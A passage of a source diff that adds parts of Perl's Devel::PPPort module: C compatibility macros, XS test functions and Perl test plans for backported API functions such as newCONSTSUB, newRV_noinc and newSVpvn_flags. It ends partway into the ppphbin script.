+__UNDEFINED__ SAVE_DEFSV SAVESPTR(GvSV(PL_defgv))
+__UNDEFINED__ DEFSV_set(sv) (DEFSV = (sv))
+
+/* Older perls (<=5.003) lack AvFILLp */
+__UNDEFINED__ AvFILLp AvFILL
+
+__UNDEFINED__ ERRSV get_sv("@",FALSE)
+
+/* Hint: gv_stashpvn
+ * This function's backport doesn't support the length parameter, but
+ * rather ignores it. Portability can only be ensured if the length
+ * parameter is used for speed reasons, but the length can always be
+ * correctly computed from the string argument.
+ */
+
+__UNDEFINED__ gv_stashpvn(str,len,create) gv_stashpv(str,create)
+
+/* Replace: 1 */
+__UNDEFINED__ get_cv perl_get_cv
+__UNDEFINED__ get_sv perl_get_sv
+__UNDEFINED__ get_av perl_get_av
+__UNDEFINED__ get_hv perl_get_hv
+/* Replace: 0 */
+
+__UNDEFINED__ dUNDERBAR dNOOP
+__UNDEFINED__ UNDERBAR DEFSV
+
+__UNDEFINED__ dAX I32 ax = MARK - PL_stack_base + 1
+__UNDEFINED__ dITEMS I32 items = SP - MARK
+
+__UNDEFINED__ dXSTARG SV * targ = sv_newmortal()
+
+__UNDEFINED__ dAXMARK I32 ax = POPMARK; \
+ register SV ** const mark = PL_stack_base + ax++
+
+
+__UNDEFINED__ XSprePUSH (sp = PL_stack_base + ax - 1)
+
+#if { VERSION < 5.005 }
+# undef XSRETURN
+# define XSRETURN(off) \
+ STMT_START { \
+ PL_stack_sp = PL_stack_base + ax + ((off) - 1); \
+ return; \
+ } STMT_END
+#endif
+
+__UNDEFINED__ XSPROTO(name) void name(pTHX_ CV* cv)
+__UNDEFINED__ SVfARG(p) ((void*)(p))
+
+__UNDEFINED__ PERL_ABS(x) ((x) < 0 ? -(x) : (x))
+
+__UNDEFINED__ dVAR dNOOP
+
+__UNDEFINED__ SVf "_"
+
+__UNDEFINED__ UTF8_MAXBYTES UTF8_MAXLEN
+
+__UNDEFINED__ CPERLscope(x) x
+
+__UNDEFINED__ PERL_HASH(hash,str,len) \
+ STMT_START { \
+ const char *s_PeRlHaSh = str; \
+ I32 i_PeRlHaSh = len; \
+ U32 hash_PeRlHaSh = 0; \
+ while (i_PeRlHaSh--) \
+ hash_PeRlHaSh = hash_PeRlHaSh * 33 + *s_PeRlHaSh++; \
+ (hash) = hash_PeRlHaSh; \
+ } STMT_END
+
+#ifndef PERLIO_FUNCS_DECL
+# ifdef PERLIO_FUNCS_CONST
+# define PERLIO_FUNCS_DECL(funcs) const PerlIO_funcs funcs
+# define PERLIO_FUNCS_CAST(funcs) (PerlIO_funcs*)(funcs)
+# else
+# define PERLIO_FUNCS_DECL(funcs) PerlIO_funcs funcs
+# define PERLIO_FUNCS_CAST(funcs) (funcs)
+# endif
+#endif
+
+/* provide these typedefs for older perls */
+#if { VERSION < 5.9.3 }
+
+# ifdef ARGSproto
+typedef OP* (CPERLscope(*Perl_ppaddr_t))(ARGSproto);
+# else
+typedef OP* (CPERLscope(*Perl_ppaddr_t))(pTHX);
+# endif
+
+typedef OP* (CPERLscope(*Perl_check_t)) (pTHX_ OP*);
+
+#endif
+
+__UNDEFINED__ isPSXSPC(c) (isSPACE(c) || (c) == '\v')
+__UNDEFINED__ isBLANK(c) ((c) == ' ' || (c) == '\t')
+#ifdef EBCDIC
+__UNDEFINED__ isALNUMC(c) isalnum(c)
+__UNDEFINED__ isASCII(c) isascii(c)
+__UNDEFINED__ isCNTRL(c) iscntrl(c)
+__UNDEFINED__ isGRAPH(c) isgraph(c)
+__UNDEFINED__ isPRINT(c) isprint(c)
+__UNDEFINED__ isPUNCT(c) ispunct(c)
+__UNDEFINED__ isXDIGIT(c) isxdigit(c)
+#else
+# if { VERSION < 5.10.0 }
+/* Hint: isPRINT
+ * The implementation in older perl versions includes all of the
+ * isSPACE() characters, which is wrong. The version provided by
+ * Devel::PPPort always overrides a present buggy version.
+ */
+# undef isPRINT
+# endif
+
+#ifndef WIDEST_UTYPE
+# ifdef QUADKIND
+# ifdef U64TYPE
+# define WIDEST_UTYPE U64TYPE
+# else
+# define WIDEST_UTYPE Quad_t
+# endif
+# else
+# define WIDEST_UTYPE U32
+# endif
+#endif
+
+__UNDEFINED__ isALNUMC(c) (isALPHA(c) || isDIGIT(c))
+__UNDEFINED__ isASCII(c) ((WIDEST_UTYPE) (c) <= 127)
+__UNDEFINED__ isCNTRL(c) ((WIDEST_UTYPE) (c) < ' ' || (c) == 127)
+__UNDEFINED__ isGRAPH(c) (isALNUM(c) || isPUNCT(c))
+__UNDEFINED__ isPRINT(c) (((c) >= 32 && (c) < 127))
+__UNDEFINED__ isPUNCT(c) (((c) >= 33 && (c) <= 47) || ((c) >= 58 && (c) <= 64) || ((c) >= 91 && (c) <= 96) || ((c) >= 123 && (c) <= 126))
+__UNDEFINED__ isXDIGIT(c) (isDIGIT(c) || ((c) >= 'a' && (c) <= 'f') || ((c) >= 'A' && (c) <= 'F'))
+#endif
+
+/* Until we figure out how to support this in older perls... */
+#if { VERSION >= 5.8.0 }
+
+__UNDEFINED__ HeUTF8(he) ((HeKLEN(he) == HEf_SVKEY) ? \
+ SvUTF8(HeKEY_sv(he)) : \
+ (U32)HeKUTF8(he))
+
+#endif
+
+__UNDEFINED__ C_ARRAY_LENGTH(a) (sizeof(a)/sizeof((a)[0]))
+__UNDEFINED__ C_ARRAY_END(a) ((a) + C_ARRAY_LENGTH(a))
+
+=xsmisc
+
+typedef XSPROTO(XSPROTO_test_t);
+typedef XSPROTO_test_t *XSPROTO_test_t_ptr;
+
+XS(XS_Devel__PPPort_dXSTARG); /* prototype */
+XS(XS_Devel__PPPort_dXSTARG)
+{
+ dXSARGS;
+ dXSTARG;
+ IV iv;
+
+ PERL_UNUSED_VAR(cv);
+ SP -= items;
+ iv = SvIV(ST(0)) + 1;
+ PUSHi(iv);
+ XSRETURN(1);
+}
+
+XS(XS_Devel__PPPort_dAXMARK); /* prototype */
+XS(XS_Devel__PPPort_dAXMARK)
+{
+ dSP;
+ dAXMARK;
+ dITEMS;
+ IV iv;
+
+ PERL_UNUSED_VAR(cv);
+ SP -= items;
+ iv = SvIV(ST(0)) - 1;
+ mPUSHi(iv);
+ XSRETURN(1);
+}
+
+=xsinit
+
+#define NEED_SvRX
+
+=xsboot
+
+{
+ XSPROTO_test_t_ptr p = &XS_Devel__PPPort_dXSTARG;
+ newXS("Devel::PPPort::dXSTARG", *p, file);
+}
+newXS("Devel::PPPort::dAXMARK", XS_Devel__PPPort_dAXMARK, file);
+
+=xsubs
+
+int
+OpSIBLING_tests()
+ PREINIT:
+ OP *x;
+ OP *kid;
+ OP *lastkid;
+ int count = 0;
+ int failures = 0;
+ int i;
+ CODE:
+ x = newOP(OP_PUSHMARK, 0);
+
+ /* No siblings yet! */
+ if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+ failures++; warn("Op should not have had a sib");
+ }
+
+
+ /* Add 2 siblings */
+ kid = x;
+
+ for (i = 0; i < 2; i++) {
+ OP *newsib = newOP(OP_PUSHMARK, 0);
+ OpMORESIB_set(kid, newsib);
+
+ kid = OpSIBLING(kid);
+ lastkid = kid;
+ }
+
+ /* Should now have a sibling */
+ if (! OpHAS_SIBLING(x) || ! OpSIBLING(x) ) {
+ failures++; warn("Op should have had a sib after moresib_set");
+ }
+
+ /* Count the siblings */
+ for (kid = OpSIBLING(x); kid; kid = OpSIBLING(kid)) {
+ count++;
+ }
+
+ if (count != 2) {
+ failures++; warn("Kid had %d sibs, expected 2", count);
+ }
+
+ if (OpHAS_SIBLING(lastkid) || OpSIBLING(lastkid)) {
+ failures++; warn("Last kid should not have a sib");
+ }
+
+ /* Really sets the parent, and says 'no more siblings' */
+ OpLASTSIB_set(x, lastkid);
+
+ if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+ failures++; warn("OpLASTSIB_set failed?");
+ }
+
+ /* Restore the kid */
+ OpMORESIB_set(x, lastkid);
+
+ /* Try to remove it again */
+ OpLASTSIB_set(x, NULL);
+
+ if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+ failures++; warn("OpLASTSIB_set with NULL failed?");
+ }
+
+ /* Try to restore with maybesib_set */
+ OpMAYBESIB_set(x, lastkid, NULL);
+
+ if (! OpHAS_SIBLING(x) || ! OpSIBLING(x) ) {
+ failures++; warn("Op should have had a sib after maybesibset");
+ }
+
+ RETVAL = failures;
+ OUTPUT:
+ RETVAL
+
+int
+SvRXOK(sv)
+ SV *sv
+ CODE:
+ RETVAL = SvRXOK(sv);
+ OUTPUT:
+ RETVAL
+
+int
+ptrtests()
+ PREINIT:
+ int var, *p = &var;
+
+ CODE:
+ RETVAL = 0;
+ RETVAL += PTR2nat(p) != 0 ? 1 : 0;
+ RETVAL += PTR2ul(p) != 0UL ? 2 : 0;
+ RETVAL += PTR2UV(p) != (UV) 0 ? 4 : 0;
+ RETVAL += PTR2IV(p) != (IV) 0 ? 8 : 0;
+ RETVAL += PTR2NV(p) != (NV) 0 ? 16 : 0;
+ RETVAL += p > NUM2PTR(int *, 0) ? 32 : 0;
+
+ OUTPUT:
+ RETVAL
+
+int
+gv_stashpvn(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = gv_stashpvn(name, strlen(name), create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_sv(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_sv(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_av(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_av(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_hv(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_hv(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_cv(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_cv(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+void
+xsreturn(two)
+ int two
+ PPCODE:
+ mXPUSHp("test1", 5);
+ if (two)
+ mXPUSHp("test2", 5);
+ if (two)
+ XSRETURN(2);
+ else
+ XSRETURN(1);
+
+SV*
+boolSV(value)
+ int value
+ CODE:
+ RETVAL = newSVsv(boolSV(value));
+ OUTPUT:
+ RETVAL
+
+SV*
+DEFSV()
+ CODE:
+ RETVAL = newSVsv(DEFSV);
+ OUTPUT:
+ RETVAL
+
+void
+DEFSV_modify()
+ PPCODE:
+ XPUSHs(sv_mortalcopy(DEFSV));
+ ENTER;
+ SAVE_DEFSV;
+ DEFSV_set(newSVpvs("DEFSV"));
+ XPUSHs(sv_mortalcopy(DEFSV));
+ /* Yes, this leaks the above scalar; 5.005 with threads for some reason */
+ /* frees it upon LEAVE, thus mortalizing it causes "attempt to free..." */
+ /* sv_2mortal(DEFSV); */
+ LEAVE;
+ XPUSHs(sv_mortalcopy(DEFSV));
+ XSRETURN(3);
+
+int
+ERRSV()
+ CODE:
+ RETVAL = SvTRUE(ERRSV);
+ OUTPUT:
+ RETVAL
+
+SV*
+UNDERBAR()
+ CODE:
+ {
+ dUNDERBAR;
+ RETVAL = newSVsv(UNDERBAR);
+ }
+ OUTPUT:
+ RETVAL
+
+void
+prepush()
+ CODE:
+ {
+ dXSTARG;
+ XSprePUSH;
+ PUSHi(42);
+ XSRETURN(1);
+ }
+
+int
+PERL_ABS(a)
+ int a
+
+void
+SVf(x)
+ SV *x
+ PPCODE:
+#if { VERSION >= 5.004 }
+ x = sv_2mortal(newSVpvf("[%" SVf "]", SVfARG(x)));
+#endif
+ XPUSHs(x);
+ XSRETURN(1);
+
+void
+Perl_ppaddr_t(string)
+ char *string
+ PREINIT:
+ Perl_ppaddr_t lower;
+ PPCODE:
+ lower = PL_ppaddr[OP_LC];
+ mXPUSHs(newSVpv(string, 0));
+ PUTBACK;
+ ENTER;
+ (void)*(lower)(aTHXR);
+ SPAGAIN;
+ LEAVE;
+ XSRETURN(1);
+
+#if { VERSION >= 5.8.0 }
+
+void
+check_HeUTF8(utf8_key)
+ SV *utf8_key;
+ PREINIT:
+ HV *hash;
+ HE *ent;
+ STRLEN klen;
+ char *key;
+ PPCODE:
+ hash = newHV();
+
+ key = SvPV(utf8_key, klen);
+ if (SvUTF8(utf8_key)) klen *= -1;
+ hv_store(hash, key, klen, newSVpvs("string"), 0);
+ hv_iterinit(hash);
+ ent = hv_iternext(hash);
+ assert(ent);
+ mXPUSHp((HeUTF8(ent) == 0 ? "norm" : "utf8"), 4);
+ hv_undef(hash);
+
+
+#endif
+
+void
+check_c_array()
+ PREINIT:
+ int x[] = { 10, 11, 12, 13 };
+ PPCODE:
+ mXPUSHi(C_ARRAY_LENGTH(x)); /* 4 */
+ mXPUSHi(*(C_ARRAY_END(x)-1)); /* 13 */
+
+=tests plan => 48
+
+use vars qw($my_sv @my_av %my_hv);
+
+ok(&Devel::PPPort::boolSV(1));
+ok(!&Devel::PPPort::boolSV(0));
+
+$_ = "Fred";
+ok(&Devel::PPPort::DEFSV(), "Fred");
+ok(&Devel::PPPort::UNDERBAR(), "Fred");
+
+if ($] >= 5.009002 && $] < 5.023 && $] < 5.023004) {
+ eval q{
+ no warnings "deprecated";
+ no if $^V > v5.17.9, warnings => "experimental::lexical_topic";
+ my $_ = "Tony";
+ ok(&Devel::PPPort::DEFSV(), "Fred");
+ ok(&Devel::PPPort::UNDERBAR(), "Tony");
+ };
+}
+else {
+ ok(1);
+ ok(1);
+}
+
+my @r = &Devel::PPPort::DEFSV_modify();
+
+ok(@r == 3);
+ok($r[0], 'Fred');
+ok($r[1], 'DEFSV');
+ok($r[2], 'Fred');
+
+ok(&Devel::PPPort::DEFSV(), "Fred");
+
+eval { 1 };
+ok(!&Devel::PPPort::ERRSV());
+eval { cannot_call_this_one() };
+ok(&Devel::PPPort::ERRSV());
+
+ok(&Devel::PPPort::gv_stashpvn('Devel::PPPort', 0));
+ok(!&Devel::PPPort::gv_stashpvn('does::not::exist', 0));
+ok(&Devel::PPPort::gv_stashpvn('does::not::exist', 1));
+
+$my_sv = 1;
+ok(&Devel::PPPort::get_sv('my_sv', 0));
+ok(!&Devel::PPPort::get_sv('not_my_sv', 0));
+ok(&Devel::PPPort::get_sv('not_my_sv', 1));
+
+@my_av = (1);
+ok(&Devel::PPPort::get_av('my_av', 0));
+ok(!&Devel::PPPort::get_av('not_my_av', 0));
+ok(&Devel::PPPort::get_av('not_my_av', 1));
+
+%my_hv = (a=>1);
+ok(&Devel::PPPort::get_hv('my_hv', 0));
+ok(!&Devel::PPPort::get_hv('not_my_hv', 0));
+ok(&Devel::PPPort::get_hv('not_my_hv', 1));
+
+sub my_cv { 1 };
+ok(&Devel::PPPort::get_cv('my_cv', 0));
+ok(!&Devel::PPPort::get_cv('not_my_cv', 0));
+ok(&Devel::PPPort::get_cv('not_my_cv', 1));
+
+ok(Devel::PPPort::dXSTARG(42), 43);
+ok(Devel::PPPort::dAXMARK(4711), 4710);
+
+ok(Devel::PPPort::prepush(), 42);
+
+ok(join(':', Devel::PPPort::xsreturn(0)), 'test1');
+ok(join(':', Devel::PPPort::xsreturn(1)), 'test1:test2');
+
+ok(Devel::PPPort::PERL_ABS(42), 42);
+ok(Devel::PPPort::PERL_ABS(-13), 13);
+
+ok(Devel::PPPort::SVf(42), $] >= 5.004 ? '[42]' : '42');
+ok(Devel::PPPort::SVf('abc'), $] >= 5.004 ? '[abc]' : 'abc');
+
+ok(&Devel::PPPort::Perl_ppaddr_t("FOO"), "foo");
+
+ok(&Devel::PPPort::ptrtests(), 63);
+
+ok(&Devel::PPPort::OpSIBLING_tests(), 0);
+
+if ($] >= 5.009000) {
+ eval q{
+ ok(&Devel::PPPort::check_HeUTF8("hello"), "norm");
+ ok(&Devel::PPPort::check_HeUTF8("\N{U+263a}"), "utf8");
+ };
+} else {
+ ok(1, 1);
+ ok(1, 1);
+}
+
+@r = &Devel::PPPort::check_c_array();
+ok($r[0], 4);
+ok($r[1], "13");
+
+ok(!Devel::PPPort::SvRXOK(""));
+ok(!Devel::PPPort::SvRXOK(bless [], "Regexp"));
+
+if ($] < 5.005) {
+ skip 'no qr// objects in this perl', 0;
+ skip 'no qr// objects in this perl', 0;
+} else {
+ my $qr = eval 'qr/./';
+ ok(Devel::PPPort::SvRXOK($qr));
+ ok(Devel::PPPort::SvRXOK(bless $qr, "Surprise"));
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB
new file mode 100644
index 00000000000..336a8e00b8d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB
@@ -0,0 +1,104 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newCONSTSUB
+
+=implementation
+
+/* Hint: newCONSTSUB
+ * Returns a CV* as of perl-5.7.1. This return value is not supported
+ * by Devel::PPPort.
+ */
+
+/* newCONSTSUB from IO.xs is in the core starting with 5.004_63 */
+#if { VERSION < 5.004_63 } && { VERSION != 5.004_05 }
+#if { NEED newCONSTSUB }
+
+/* This is just a trick to avoid a dependency of newCONSTSUB on PL_parser */
+/* (There's no PL_parser in perl < 5.005, so this is completely safe) */
+#define D_PPP_PL_copline PL_copline
+
+void
+newCONSTSUB(HV *stash, const char *name, SV *sv)
+{
+ U32 oldhints = PL_hints;
+ HV *old_cop_stash = PL_curcop->cop_stash;
+ HV *old_curstash = PL_curstash;
+ line_t oldline = PL_curcop->cop_line;
+ PL_curcop->cop_line = D_PPP_PL_copline;
+
+ PL_hints &= ~HINT_BLOCK_SCOPE;
+ if (stash)
+ PL_curstash = PL_curcop->cop_stash = stash;
+
+ newSUB(
+
+#if { VERSION < 5.003_22 }
+ start_subparse(),
+#elif { VERSION == 5.003_22 }
+ start_subparse(0),
+#else /* 5.003_23 onwards */
+ start_subparse(FALSE, 0),
+#endif
+
+ newSVOP(OP_CONST, 0, newSVpv((char *) name, 0)),
+ newSVOP(OP_CONST, 0, &PL_sv_no), /* SvPV(&PL_sv_no) == "" -- GMB */
+ newSTATEOP(0, Nullch, newSVOP(OP_CONST, 0, sv))
+ );
+
+ PL_hints = oldhints;
+ PL_curcop->cop_stash = old_cop_stash;
+ PL_curstash = old_curstash;
+ PL_curcop->cop_line = oldline;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_newCONSTSUB
+
+=xsmisc
+
+void call_newCONSTSUB_1(void)
+{
+#ifdef PERL_NO_GET_CONTEXT
+ dTHX;
+#endif
+ newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_1", newSViv(1));
+}
+
+extern void call_newCONSTSUB_2(void);
+extern void call_newCONSTSUB_3(void);
+
+=xsubs
+
+void
+call_newCONSTSUB_1()
+
+void
+call_newCONSTSUB_2()
+
+void
+call_newCONSTSUB_3()
+
+=tests plan => 3
+
+&Devel::PPPort::call_newCONSTSUB_1();
+ok(&Devel::PPPort::test_value_1(), 1);
+
+&Devel::PPPort::call_newCONSTSUB_2();
+ok(&Devel::PPPort::test_value_2(), 2);
+
+&Devel::PPPort::call_newCONSTSUB_3();
+ok(&Devel::PPPort::test_value_3(), 3);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV
new file mode 100644
index 00000000000..6db6dfc54fe
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV
@@ -0,0 +1,67 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newRV_inc
+newRV_noinc
+
+=implementation
+
+__UNDEFINED__ newRV_inc(sv) newRV(sv) /* Replace */
+
+#ifndef newRV_noinc
+#if { NEED newRV_noinc }
+SV *
+newRV_noinc(SV *sv)
+{
+ SV *rv = (SV *)newRV(sv);
+ SvREFCNT_dec(sv);
+ return rv;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_newRV_noinc
+
+=xsubs
+
+U32
+newRV_inc_REFCNT()
+ PREINIT:
+ SV *sv, *rv;
+ CODE:
+ sv = newSViv(42);
+ rv = newRV_inc(sv);
+ SvREFCNT_dec(sv);
+ RETVAL = SvREFCNT(sv);
+ sv_2mortal(rv);
+ OUTPUT:
+ RETVAL
+
+U32
+newRV_noinc_REFCNT()
+ PREINIT:
+ SV *sv, *rv;
+ CODE:
+ sv = newSViv(42);
+ rv = newRV_noinc(sv);
+ RETVAL = SvREFCNT(sv);
+ sv_2mortal(rv);
+ OUTPUT:
+ RETVAL
+
+=tests plan => 2
+
+ok(&Devel::PPPort::newRV_inc_REFCNT, 1);
+ok(&Devel::PPPort::newRV_noinc_REFCNT, 1);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type
new file mode 100644
index 00000000000..039f8010bb5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSV_type
@@ -0,0 +1,79 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newSV_type
+
+=implementation
+
+#ifndef newSV_type
+
+#if { NEED newSV_type }
+
+SV*
+newSV_type(pTHX_ svtype const t)
+{
+ SV* const sv = newSV(0);
+ sv_upgrade(sv, t);
+ return sv;
+}
+
+#endif
+
+#endif
+
+=xsinit
+
+#define NEED_newSV_type
+
+=xsubs
+
+int
+newSV_type()
+ PREINIT:
+ SV* sv;
+ CODE:
+ RETVAL = 0;
+ sv = newSV_type(SVt_NULL);
+ if (SvTYPE(sv) == SVt_NULL)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+
+ sv = newSV_type(SVt_PVIV);
+ if (SvTYPE(sv) == SVt_PVIV)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+
+ sv = newSV_type(SVt_PVHV);
+ if (SvTYPE(sv) == SVt_PVHV)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+
+ sv = newSV_type(SVt_PVAV);
+ if (SvTYPE(sv) == SVt_PVAV)
+ {
+ RETVAL++;
+ }
+ SvREFCNT_dec(sv);
+ OUTPUT:
+ RETVAL
+
+
+=tests plan => 1
+
+ok(Devel::PPPort::newSV_type(), 4);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv
new file mode 100644
index 00000000000..513461e5141
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newSVpv
@@ -0,0 +1,109 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+newSVpvn_flags
+
+=implementation
+
+#if { VERSION < 5.6.0 }
+# define D_PPP_CONSTPV_ARG(x) ((char *) (x))
+#else
+# define D_PPP_CONSTPV_ARG(x) (x)
+#endif
+
+__UNDEFINED__ newSVpvn(data,len) ((data) \
+ ? ((len) ? newSVpv((data), (len)) : newSVpv("", 0)) \
+ : newSV(0))
+
+__UNDEFINED__ newSVpvn_utf8(s, len, u) newSVpvn_flags((s), (len), (u) ? SVf_UTF8 : 0)
+
+__UNDEFINED__ SVf_UTF8 0
+
+#ifndef newSVpvn_flags
+
+#if { NEED newSVpvn_flags }
+
+SV *
+newSVpvn_flags(pTHX_ const char *s, STRLEN len, U32 flags)
+{
+ SV *sv = newSVpvn(D_PPP_CONSTPV_ARG(s), len);
+ SvFLAGS(sv) |= (flags & SVf_UTF8);
+ return (flags & SVs_TEMP) ? sv_2mortal(sv) : sv;
+}
+
+#endif
+
+#endif
+
+=xsinit
+
+#define NEED_newSVpvn_flags
+
+=xsubs
+
+void
+newSVpvn()
+ PPCODE:
+ mXPUSHs(newSVpvn("test", 4));
+ mXPUSHs(newSVpvn("test", 2));
+ mXPUSHs(newSVpvn("test", 0));
+ mXPUSHs(newSVpvn(NULL, 2));
+ mXPUSHs(newSVpvn(NULL, 0));
+ XSRETURN(5);
+
+void
+newSVpvn_flags()
+ PPCODE:
+ XPUSHs(newSVpvn_flags("test", 4, SVs_TEMP));
+ XPUSHs(newSVpvn_flags("test", 2, SVs_TEMP));
+ XPUSHs(newSVpvn_flags("test", 0, SVs_TEMP));
+ XPUSHs(newSVpvn_flags(NULL, 2, SVs_TEMP));
+ XPUSHs(newSVpvn_flags(NULL, 0, SVs_TEMP));
+ XSRETURN(5);
+
+void
+newSVpvn_utf8()
+ PPCODE:
+ XPUSHs(newSVpvn_flags("test", 4, SVs_TEMP|SVf_UTF8));
+ XSRETURN(1);
+
+=tests plan => 15
+
+my @s = &Devel::PPPort::newSVpvn();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_flags();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_utf8();
+ok(@s == 1);
+ok($s[0], "test");
+
+if ($] >= 5.008001) {
+ require utf8;
+ ok(utf8::is_utf8($s[0]));
+}
+else {
+ skip("skip: no is_utf8()", 0);
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest
new file mode 100644
index 00000000000..d7255b916f1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/podtest
@@ -0,0 +1,45 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=tests plan => 0
+
+my @pods = qw( HACKERS PPPort.pm ppport.h soak devel/regenerate devel/buildperl.pl );
+
+my $reason = '';
+
+if ($ENV{'SKIP_SLOW_TESTS'}) {
+ $reason = 'SKIP_SLOW_TESTS';
+}
+else {
+ # Try loading Test::Pod
+ eval q{
+ use Test::Pod;
+ $Test::Pod::VERSION >= 0.95
+ or die "Test::Pod version only $Test::Pod::VERSION";
+ import Test::Pod tests => scalar @pods;
+ };
+ $reason = 'Test::Pod >= 0.95 required' if $@;
+}
+
+if ($reason) {
+ load();
+ plan(tests => scalar @pods);
+}
+
+for (@pods) {
+ print "# checking $_\n";
+ if ($reason) {
+ skip("skip: $reason", 0);
+ }
+ else {
+ pod_file_ok($_);
+ }
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin
new file mode 100644
index 00000000000..82ebdccb338
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/ppphbin
@@ -0,0 +1,822 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+=implementation
+
+use strict;
+
+# Disable broken TRIE-optimization
+BEGIN { eval '${^RE_TRIE_MAXBUF} = -1' if $] >= 5.009004 && $] <= 5.009005 }
+
+my $VERSION = __VERSION__;
+
+my %opt = (
+ quiet => 0,
+ diag => 1,
+ hints => 1,
+ changes => 1,
+ cplusplus => 0,
+ filter => 1,
+ strip => 0,
+ version => 0,
+);
+
+my($ppport) = $0 =~ /([\w.]+)$/;
+my $LF = '(?:\r\n|[\r\n])'; # line feed
+my $HS = "[ \t]"; # horizontal whitespace
+
+# Never use C comments in this file!
+my $ccs = '/'.'*';
+my $cce = '*'.'/';
+my $rccs = quotemeta $ccs;
+my $rcce = quotemeta $cce;
+
+eval {
+ require Getopt::Long;
+ Getopt::Long::GetOptions(\%opt, qw(
+ help quiet diag! filter! hints! changes! cplusplus strip version
+ patch=s copy=s diff=s compat-version=s
+ list-provided list-unsupported api-info=s
+ )) or usage();
+};
+
+if ($@ and grep /^-/, @ARGV) {
+ usage() if "@ARGV" =~ /^--?h(?:elp)?$/;
+ die "Getopt::Long not found. Please don't use any options.\n";
+}
+
+if ($opt{version}) {
+ print "This is $0 $VERSION.\n";
+ exit 0;
+}
+
+usage() if $opt{help};
+strip() if $opt{strip};
+
+if (exists $opt{'compat-version'}) {
+ my($r,$v,$s) = eval { parse_version($opt{'compat-version'}) };
+ if ($@) {
